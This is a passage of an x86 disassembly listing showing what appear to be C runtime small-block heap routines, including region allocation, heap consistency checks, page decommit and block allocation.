loc_41E3F4: ; CODE XREF: sub_41E0F0+2F8j
mov eax, [ebp+var_8]
add eax, 1000h
mov [ebp+var_8], eax
jmp loc_41E271
; ---------------------------------------------------------------------------
loc_41E404: ; CODE XREF: sub_41E0F0+197j
mov ecx, [ebp+var_18]
mov edx, [ecx]
cmp edx, [ebp+var_12C]
jz short loc_41E41B
mov eax, 0FFFFFFF7h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E41B: ; CODE XREF: sub_41E0F0+31Fj
mov eax, [ebp+var_18]
mov [ebp+var_134], eax
mov [ebp+var_14], 0
jmp short loc_41E436
; ---------------------------------------------------------------------------
loc_41E42D: ; CODE XREF: sub_41E0F0+578j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_41E436: ; CODE XREF: sub_41E0F0+33Bj
cmp [ebp+var_14], 40h
jge loc_41E66D
mov [ebp+var_168], 0
mov edx, [ebp+var_134]
mov [ebp+var_130], edx
loc_41E456: ; CODE XREF: sub_41E0F0+4A5j
mov eax, [ebp+var_130]
mov ecx, [eax+4]
mov [ebp+var_15C], ecx
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_134]
jz loc_41E59A
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz loc_41E59A
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_128]
jb short loc_41E4AE
mov eax, [ebp+var_128]
add eax, 8000h
cmp [ebp+var_15C], eax
jb short loc_41E4B8
loc_41E4AE: ; CODE XREF: sub_41E0F0+3A9j
mov eax, 0FFFFFFF6h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E4B8: ; CODE XREF: sub_41E0F0+3BCj
mov ecx, [ebp+var_15C]
and ecx, 0FFFFF000h
mov [ebp+var_164], ecx
mov edx, [ebp+var_164]
add edx, 0Ch
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
add eax, 0FF0h
mov [ebp+var_124], eax
loc_41E4E4: ; CODE XREF: sub_41E0F0+41Cj
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_124]
jz short loc_41E50E
mov edx, [ebp+var_10]
cmp edx, [ebp+var_15C]
jnz short loc_41E4FC
jmp short loc_41E50E
; ---------------------------------------------------------------------------
loc_41E4FC: ; CODE XREF: sub_41E0F0+408j
mov eax, [ebp+var_10]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_10], edx
jmp short loc_41E4E4
; ---------------------------------------------------------------------------
loc_41E50E: ; CODE XREF: sub_41E0F0+3FDj
; sub_41E0F0+40Aj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_124]
jnz short loc_41E523
mov eax, 0FFFFFFF5h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E523: ; CODE XREF: sub_41E0F0+427j
mov ecx, [ebp+var_15C]
mov edx, [ecx]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_41E54A
mov [ebp+var_14C], 3Fh
loc_41E54A: ; CODE XREF: sub_41E0F0+44Ej
mov eax, [ebp+var_14C]
cmp eax, [ebp+var_14]
jz short loc_41E55F
mov eax, 0FFFFFFF4h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E55F: ; CODE XREF: sub_41E0F0+463j
mov ecx, [ebp+var_15C]
mov edx, [ecx+8]
cmp edx, [ebp+var_130]
jz short loc_41E57A
mov eax, 0FFFFFFF3h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E57A: ; CODE XREF: sub_41E0F0+47Ej
mov eax, [ebp+var_15C]
mov [ebp+var_130], eax
mov ecx, [ebp+var_168]
add ecx, 1
mov [ebp+var_168], ecx
jmp loc_41E456
; ---------------------------------------------------------------------------
loc_41E59A: ; CODE XREF: sub_41E0F0+381j
; sub_41E0F0+397j
cmp [ebp+var_168], 0
jz short loc_41E611
cmp [ebp+var_14], 20h
jge short loc_41E5DB
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_11C]
or eax, edx
mov [ebp+var_11C], eax
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_144]
or eax, edx
mov [ebp+var_144], eax
jmp short loc_41E611
; ---------------------------------------------------------------------------
loc_41E5DB: ; CODE XREF: sub_41E0F0+4B7j
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_150]
or eax, edx
mov [ebp+var_150], eax
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_158]
or eax, edx
mov [ebp+var_158], eax
loc_41E611: ; CODE XREF: sub_41E0F0+4B1j
; sub_41E0F0+4E9j
mov ecx, [ebp+var_130]
mov edx, [ecx+4]
cmp edx, [ebp+var_134]
jnz short loc_41E634
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz short loc_41E63E
loc_41E634: ; CODE XREF: sub_41E0F0+530j
mov eax, 0FFFFFFF2h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E63E: ; CODE XREF: sub_41E0F0+542j
mov edx, [ebp+var_134]
mov eax, [edx+8]
cmp eax, [ebp+var_130]
jz short loc_41E659
mov eax, 0FFFFFFF1h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E659: ; CODE XREF: sub_41E0F0+55Dj
mov ecx, [ebp+var_134]
add ecx, 8
mov [ebp+var_134], ecx
jmp loc_41E42D
; ---------------------------------------------------------------------------
loc_41E66D: ; CODE XREF: sub_41E0F0+146j
; sub_41E0F0+34Aj
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_11C]
cmp ecx, [eax+edx*4+44h]
jnz short loc_41E69A
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_150]
cmp ecx, [eax+edx*4+0C4h]
jz short loc_41E6A1
loc_41E69A: ; CODE XREF: sub_41E0F0+590j
mov eax, 0FFFFFFF0h
jmp short loc_41E709
; ---------------------------------------------------------------------------
loc_41E6A1: ; CODE XREF: sub_41E0F0+5A8j
mov edx, [ebp+var_128]
add edx, 8000h
mov [ebp+var_128], edx
mov eax, [ebp+var_18]
add eax, 204h
mov [ebp+var_18], eax
mov ecx, [ebp+var_4]
shl ecx, 1
mov [ebp+var_4], ecx
jmp loc_41E1CA
; ---------------------------------------------------------------------------
loc_41E6CB: ; CODE XREF: sub_41E0F0+E7j
mov edx, [ebp+var_13C]
mov eax, [ebp+var_144]
cmp eax, [edx]
jnz short loc_41E6EC
mov ecx, [ebp+var_13C]
mov edx, [ebp+var_158]
cmp edx, [ecx+4]
jz short loc_41E6F3
loc_41E6EC: ; CODE XREF: sub_41E0F0+5E9j
mov eax, 0FFFFFFEFh
jmp short loc_41E709
; ---------------------------------------------------------------------------
loc_41E6F3: ; CODE XREF: sub_41E0F0+5FAj
mov eax, [ebp+var_13C]
add eax, 14h
mov [ebp+var_13C], eax
jmp loc_41E133
; ---------------------------------------------------------------------------
loc_41E707: ; CODE XREF: sub_41E0F0+5Ej
xor eax, eax
loc_41E709: ; CODE XREF: sub_41E0F0+26j
; sub_41E0F0+8Ej ...
mov esp, ebp
pop ebp
retn
sub_41E0F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, dword_44726C
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 0Fh
and al, 0F0h
mov [ebp+8], eax
cmp dword ptr [ebp+8], 780h
ja short loc_41E747
mov ecx, [ebp+8]
mov dword_44726C, ecx
mov eax, 1
jmp short loc_41E749
; ---------------------------------------------------------------------------
loc_41E747: ; CODE XREF: .data:0041E735j
xor eax, eax
loc_41E749: ; CODE XREF: .data:0041E745j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E750 proc near ; CODE XREF: .data:0041CA51p
; sub_41EC10+34Cp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
cmp dword_445258, 0FFFFFFFFh
jnz short loc_41E768
mov [ebp+var_C], offset off_445248
jmp short loc_41E78B
; ---------------------------------------------------------------------------
loc_41E768: ; CODE XREF: sub_41E750+Dj
push 2020h
push 0
mov eax, dword_4DE648
push eax
call dword_4E0478 ; RtlAllocateHeap
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_41E78B
xor eax, eax
jmp loc_41E92A
; ---------------------------------------------------------------------------
loc_41E78B: ; CODE XREF: sub_41E750+16j
; sub_41E750+32j
push 4
push 2000h
push 400000h
push 0
call dword_4E0488 ; VirtualAlloc
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz loc_41E90C
push 4
push 1000h
push 10000h
mov ecx, [ebp+var_4]
push ecx
call dword_4E0488 ; VirtualAlloc
test eax, eax
jz loc_41E8FB
cmp [ebp+var_C], offset off_445248
jnz short loc_41E7FB
cmp off_445248, 0
jnz short loc_41E7E6
mov off_445248, offset off_445248
loc_41E7E6: ; CODE XREF: sub_41E750+8Aj
cmp off_44524C, 0
jnz short loc_41E7F9
mov off_44524C, offset off_445248
loc_41E7F9: ; CODE XREF: sub_41E750+9Dj
jmp short loc_41E824
; ---------------------------------------------------------------------------
loc_41E7FB: ; CODE XREF: sub_41E750+81j
mov edx, [ebp+var_C]
mov dword ptr [edx], offset off_445248
mov eax, [ebp+var_C]
mov ecx, off_44524C
mov [eax+4], ecx
mov edx, [ebp+var_C]
mov off_44524C, edx
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_41E824: ; CODE XREF: sub_41E750:loc_41E7F9j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov [eax+10h], ecx
mov edx, [ebp+var_4]
add edx, 400000h
mov eax, [ebp+var_C]
mov [eax+14h], edx
mov ecx, [ebp+var_C]
add ecx, 18h
mov edx, [ebp+var_C]
mov [edx+8], ecx
mov eax, [ebp+var_C]
add eax, 98h
mov ecx, [ebp+var_C]
mov [ecx+0Ch], eax
mov [ebp+var_8], 0
jmp short loc_41E868
; ---------------------------------------------------------------------------
loc_41E85F: ; CODE XREF: sub_41E750+153j
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_41E868: ; CODE XREF: sub_41E750+10Dj
cmp [ebp+var_8], 400h
jge short loc_41E8A5
cmp [ebp+var_8], 10h
jge short loc_41E887
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov dword ptr [ecx+eax*8+18h], 0F0h
jmp short loc_41E895
; ---------------------------------------------------------------------------
loc_41E887: ; CODE XREF: sub_41E750+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov dword ptr [eax+edx*8+18h], 0FFFFFFFFh
loc_41E895: ; CODE XREF: sub_41E750+135j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*8+1Ch], 0F1h
jmp short loc_41E85F
; ---------------------------------------------------------------------------
loc_41E8A5: ; CODE XREF: sub_41E750+11Fj
push 10000h
push 0
mov eax, [ebp+var_4]
push eax
call sub_417700
add esp, 0Ch
loc_41E8B8: ; CODE XREF: sub_41E750+1A4j
mov ecx, [ebp+var_C]
mov edx, [ecx+10h]
add edx, 10000h
cmp [ebp+var_4], edx
jnb short loc_41E8F6
mov eax, [ebp+var_4]
add eax, 8
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0F0h
mov eax, [ebp+var_4]
mov byte ptr [eax+0F8h], 0FFh
mov ecx, [ebp+var_4]
add ecx, 1000h
mov [ebp+var_4], ecx
jmp short loc_41E8B8
; ---------------------------------------------------------------------------
loc_41E8F6: ; CODE XREF: sub_41E750+177j
mov eax, [ebp+var_C]
jmp short loc_41E92A
; ---------------------------------------------------------------------------
loc_41E8FB: ; CODE XREF: sub_41E750+74j
push 8000h
push 0
mov edx, [ebp+var_4]
push edx
call dword_4E0484 ; VirtualFree
loc_41E90C: ; CODE XREF: sub_41E750+56j
cmp [ebp+var_C], offset off_445248
jz short loc_41E928
mov eax, [ebp+var_C]
push eax
push 0
mov ecx, dword_4DE648
push ecx
call dword_4E0480 ; RtlFreeHeap
loc_41E928: ; CODE XREF: sub_41E750+1C3j
xor eax, eax
loc_41E92A: ; CODE XREF: sub_41E750+36j
; sub_41E750+1A9j
mov esp, ebp
pop ebp
retn
sub_41E750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E930 proc near ; CODE XREF: sub_41E9B0+136p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 8000h
push 0
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call dword_4E0484 ; VirtualFree
mov edx, off_447268
cmp edx, [ebp+arg_0]
jnz short loc_41E95E
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov off_447268, ecx
loc_41E95E: ; CODE XREF: sub_41E930+20j
cmp [ebp+arg_0], offset off_445248
jz short loc_41E997
mov edx, [ebp+arg_0]
mov eax, [edx+4]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, dword_4DE648
push edx
call dword_4E0480 ; RtlFreeHeap
jmp short loc_41E9A1
; ---------------------------------------------------------------------------
loc_41E997: ; CODE XREF: sub_41E930+35j
mov dword_445258, 0FFFFFFFFh
loc_41E9A1: ; CODE XREF: sub_41E930+65j
pop ebp
retn
sub_41E930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E9B0 proc near ; CODE XREF: sub_41EBA0+60p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, off_44524C
mov [ebp+var_14], eax
loc_41E9BE: ; CODE XREF: sub_41E9B0+14Dj
mov ecx, [ebp+var_14]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz loc_41EAEE
mov [ebp+var_C], 3FFh
mov [ebp+var_10], 0
mov edx, [ebp+var_C]
mov eax, [ebp+var_14]
lea ecx, [eax+edx*8+18h]
mov [ebp+var_4], ecx
jmp short loc_41E9FA
; ---------------------------------------------------------------------------
loc_41E9E8: ; CODE XREF: sub_41E9B0:loc_41EA7Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+var_4]
sub eax, 8
mov [ebp+var_4], eax
loc_41E9FA: ; CODE XREF: sub_41E9B0+36j
cmp [ebp+var_C], 0
jl loc_41EA84
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0F0h
jnz short loc_41EA7F
push 4000h
push 1000h
mov edx, [ebp+var_C]
shl edx, 0Ch
mov eax, [ebp+var_14]
mov ecx, [eax+10h]
add ecx, edx
push ecx
call dword_4E0484 ; VirtualFree
test eax, eax
jz short loc_41EA7F
mov edx, [ebp+var_4]
mov dword ptr [edx], 0FFFFFFFFh
mov eax, dword_4DE050
sub eax, 1
mov dword_4DE050, eax
mov ecx, [ebp+var_14]
cmp dword ptr [ecx+0Ch], 0
jz short loc_41EA5C
mov edx, [ebp+var_14]
mov eax, [edx+0Ch]
cmp eax, [ebp+var_4]
jbe short loc_41EA65
loc_41EA5C: ; CODE XREF: sub_41E9B0+9Fj
mov ecx, [ebp+var_14]
mov edx, [ebp+var_4]
mov [ecx+0Ch], edx
loc_41EA65: ; CODE XREF: sub_41E9B0+AAj
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+arg_0]
sub ecx, 1
mov [ebp+arg_0], ecx
cmp [ebp+arg_0], 0
jnz short loc_41EA7F
jmp short loc_41EA84
; ---------------------------------------------------------------------------
loc_41EA7F: ; CODE XREF: sub_41E9B0+5Dj
; sub_41E9B0+80j ...
jmp loc_41E9E8
; ---------------------------------------------------------------------------
loc_41EA84: ; CODE XREF: sub_41E9B0+4Ej
; sub_41E9B0+CDj
mov edx, [ebp+var_14]
mov [ebp+var_8], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [ebp+var_14], ecx
cmp [ebp+var_10], 0
jz short loc_41EAEE
mov edx, [ebp+var_8]
cmp dword ptr [edx+18h], 0FFFFFFFFh
jnz short loc_41EAEE
mov [ebp+var_C], 1
mov eax, [ebp+var_8]
add eax, 20h
mov [ebp+var_4], eax
jmp short loc_41EAC6
; ---------------------------------------------------------------------------
loc_41EAB4: ; CODE XREF: sub_41E9B0+127j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 8
mov [ebp+var_4], edx
loc_41EAC6: ; CODE XREF: sub_41E9B0+102j
cmp [ebp+var_C], 400h
jge short loc_41EAD9
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EAD9
jmp short loc_41EAB4
; ---------------------------------------------------------------------------
loc_41EAD9: ; CODE XREF: sub_41E9B0+11Dj
; sub_41E9B0+125j
cmp [ebp+var_C], 400h
jnz short loc_41EAEE
mov ecx, [ebp+var_8]
push ecx
call sub_41E930
add esp, 4
loc_41EAEE: ; CODE XREF: sub_41E9B0+15j
; sub_41E9B0+E7j ...
mov edx, [ebp+var_14]
cmp edx, off_44524C
jz short loc_41EB03
cmp [ebp+arg_0], 0
jg loc_41E9BE
loc_41EB03: ; CODE XREF: sub_41E9B0+147j
mov esp, ebp
pop ebp
retn
sub_41E9B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_416900+B6p
; sub_41C020+12Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], offset off_445248
loc_41EB1D: ; CODE XREF: sub_41EB10+88j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, [eax+10h]
jbe short loc_41EB89
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
cmp eax, [edx+14h]
jnb short loc_41EB89
mov ecx, [ebp+arg_0]
and ecx, 0Fh
test ecx, ecx
jnz short loc_41EB85
mov edx, [ebp+arg_0]
and edx, 0FFFh
xor eax, eax
add eax, 100h
cmp edx, eax
jb short loc_41EB85
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx], edx
mov eax, [ebp+arg_0]
and eax, 0FFFFF000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_4]
add eax, 100h
mov ecx, [ebp+arg_0]
sub ecx, eax
sar ecx, 4
mov edx, [ebp+var_4]
lea eax, [edx+ecx+8]
jmp short loc_41EB9C
; ---------------------------------------------------------------------------
loc_41EB85: ; CODE XREF: sub_41EB10+2Bj
; sub_41EB10+3Fj
xor eax, eax
jmp short loc_41EB9C
; ---------------------------------------------------------------------------
loc_41EB89: ; CODE XREF: sub_41EB10+16j
; sub_41EB10+21j
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_8], ecx
cmp [ebp+var_8], offset off_445248
jnz short loc_41EB1D
xor eax, eax
loc_41EB9C: ; CODE XREF: sub_41EB10+73j
; sub_41EB10+77j
mov esp, ebp
pop ebp
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EBA0 proc near ; CODE XREF: sub_41C230+340p
; sub_41C230+3ADp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
mov edx, [ebp+arg_0]
lea eax, [edx+ecx*8+18h]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_4]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+var_4]
mov [edx], ecx
mov eax, [ebp+arg_8]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0F1h
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0F0h
jnz short loc_41EC08
mov eax, dword_4DE050
add eax, 1
mov dword_4DE050, eax
cmp dword_4DE050, 20h
jnz short loc_41EC08
push 10h
call sub_41E9B0
add esp, 4
loc_41EC08: ; CODE XREF: sub_41EBA0+46j
; sub_41EBA0+5Cj
mov esp, ebp
pop ebp
retn
sub_41EBA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC10 proc near ; CODE XREF: sub_41BEC0+CEp
; sub_41C230+2ECp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov eax, off_447268
mov [ebp+var_20], eax
loc_41EC1E: ; CODE XREF: sub_41EC10+188j
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz loc_41ED87
mov edx, [ebp+var_20]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_20]
add ecx, 2018h
mov [ebp+var_10], ecx
mov edx, [ebp+var_20]
add edx, 18h
mov eax, [ebp+var_4]
sub eax, edx
sar eax, 3
shl eax, 0Ch
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
add edx, eax
mov [ebp+var_8], edx
jmp short loc_41EC73
; ---------------------------------------------------------------------------
loc_41EC5E: ; CODE XREF: sub_41EC10:loc_41ECDFj
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, 1000h
mov [ebp+var_8], ecx
loc_41EC73: ; CODE XREF: sub_41EC10+4Cj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_10]
jnb short loc_41ECE4
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jl short loc_41ECDF
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jbe short loc_41ECDF
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41EFD0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_41ECD6
mov edx, [ebp+var_20]
mov off_447268, edx
mov eax, [ebp+var_4]
mov ecx, [eax]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
mov [edx], ecx
mov eax, [ebp+var_20]
mov ecx, [ebp+var_4]
mov [eax+8], ecx
mov eax, [ebp+var_C]
jmp loc_41EFC4
; ---------------------------------------------------------------------------
loc_41ECD6: ; CODE XREF: sub_41EC10+9Dj
mov edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [edx+4], eax
loc_41ECDF: ; CODE XREF: sub_41EC10+73j
; sub_41EC10+7Ej
jmp loc_41EC5E
; ---------------------------------------------------------------------------
loc_41ECE4: ; CODE XREF: sub_41EC10+69j
mov ecx, [ebp+var_20]
add ecx, 18h
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
mov eax, [edx+8]
mov [ebp+var_10], eax
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
mov [ebp+var_8], edx
jmp short loc_41ED16
; ---------------------------------------------------------------------------
loc_41ED01: ; CODE XREF: sub_41EC10:loc_41ED82j
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, 1000h
mov [ebp+var_8], ecx
loc_41ED16: ; CODE XREF: sub_41EC10+EFj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_10]
jnb short loc_41ED87
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jl short loc_41ED82
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jbe short loc_41ED82
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41EFD0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_41ED79
mov edx, [ebp+var_20]
mov off_447268, edx
mov eax, [ebp+var_4]
mov ecx, [eax]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
mov [edx], ecx
mov eax, [ebp+var_20]
mov ecx, [ebp+var_4]
mov [eax+8], ecx
mov eax, [ebp+var_C]
jmp loc_41EFC4
; ---------------------------------------------------------------------------
loc_41ED79: ; CODE XREF: sub_41EC10+140j
mov edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [edx+4], eax
loc_41ED82: ; CODE XREF: sub_41EC10+116j
; sub_41EC10+121j
jmp loc_41ED01
; ---------------------------------------------------------------------------
loc_41ED87: ; CODE XREF: sub_41EC10+15j
; sub_41EC10+10Cj
mov ecx, [ebp+var_20]
mov edx, [ecx]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
cmp eax, off_447268
jnz loc_41EC1E
mov [ebp+var_20], offset off_445248
loc_41EDA5: ; CODE XREF: sub_41EC10+346j
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz loc_41EF47
mov edx, [ebp+var_20]
cmp dword ptr [edx+0Ch], 0
jz loc_41EF47
mov eax, [ebp+var_20]
mov ecx, [eax+0Ch]
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 18h
mov eax, [ebp+var_4]
sub eax, edx
sar eax, 3
shl eax, 0Ch
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
add edx, eax
mov [ebp+var_8], edx
mov [ebp+var_14], 0
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_41EE05
; ---------------------------------------------------------------------------
loc_41EDF3: ; CODE XREF: sub_41EC10+203j
mov ecx, [ebp+var_10]
add ecx, 8
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_41EE05: ; CODE XREF: sub_41EC10+1E1j
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EE15
cmp [ebp+var_14], 10h
jge short loc_41EE15
jmp short loc_41EDF3
; ---------------------------------------------------------------------------
loc_41EE15: ; CODE XREF: sub_41EC10+1FBj
; sub_41EC10+201j
push 4
push 1000h
mov ecx, [ebp+var_14]
shl ecx, 0Ch
push ecx
mov edx, [ebp+var_8]
push edx
call dword_4E0488 ; VirtualAlloc
cmp eax, [ebp+var_8]
jnz loc_41EF43
push 0
mov eax, [ebp+var_14]
shl eax, 0Ch
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_417700
add esp, 0Ch
mov [ebp+var_18], 0
mov edx, [ebp+var_8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_41EE7E
; ---------------------------------------------------------------------------
loc_41EE60: ; CODE XREF: sub_41EC10+2A8j
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+var_1C]
add edx, 1000h
mov [ebp+var_1C], edx
mov eax, [ebp+var_10]
add eax, 8
mov [ebp+var_10], eax
loc_41EE7E: ; CODE XREF: sub_41EC10+24Ej
mov ecx, [ebp+var_18]
cmp ecx, [ebp+var_14]
jge short loc_41EEBA
mov edx, [ebp+var_1C]
add edx, 8
mov eax, [ebp+var_1C]
mov [eax], edx
mov ecx, [ebp+var_1C]
mov dword ptr [ecx+4], 0F0h
mov edx, [ebp+var_1C]
mov byte ptr [edx+0F8h], 0FFh
mov eax, [ebp+var_10]
mov dword ptr [eax], 0F0h
mov ecx, [ebp+var_10]
mov dword ptr [ecx+4], 0F1h
jmp short loc_41EE60
; ---------------------------------------------------------------------------
loc_41EEBA: ; CODE XREF: sub_41EC10+274j
mov edx, [ebp+var_20]
mov off_447268, edx
loc_41EEC3: ; CODE XREF: sub_41EC10+2D1j
mov eax, [ebp+var_20]
add eax, 2018h
cmp [ebp+var_10], eax
jnb short loc_41EEE3
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EEE3
mov edx, [ebp+var_10]
add edx, 8
mov [ebp+var_10], edx
jmp short loc_41EEC3
; ---------------------------------------------------------------------------
loc_41EEE3: ; CODE XREF: sub_41EC10+2BEj
; sub_41EC10+2C6j
mov eax, [ebp+var_20]
add eax, 2018h
cmp [ebp+var_10], eax
sbb ecx, ecx
and ecx, [ebp+var_10]
mov edx, [ebp+var_20]
mov [edx+0Ch], ecx
mov eax, [ebp+var_8]
mov cl, byte ptr [ebp+arg_0]
mov [eax+8], cl
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov [edx+8], eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
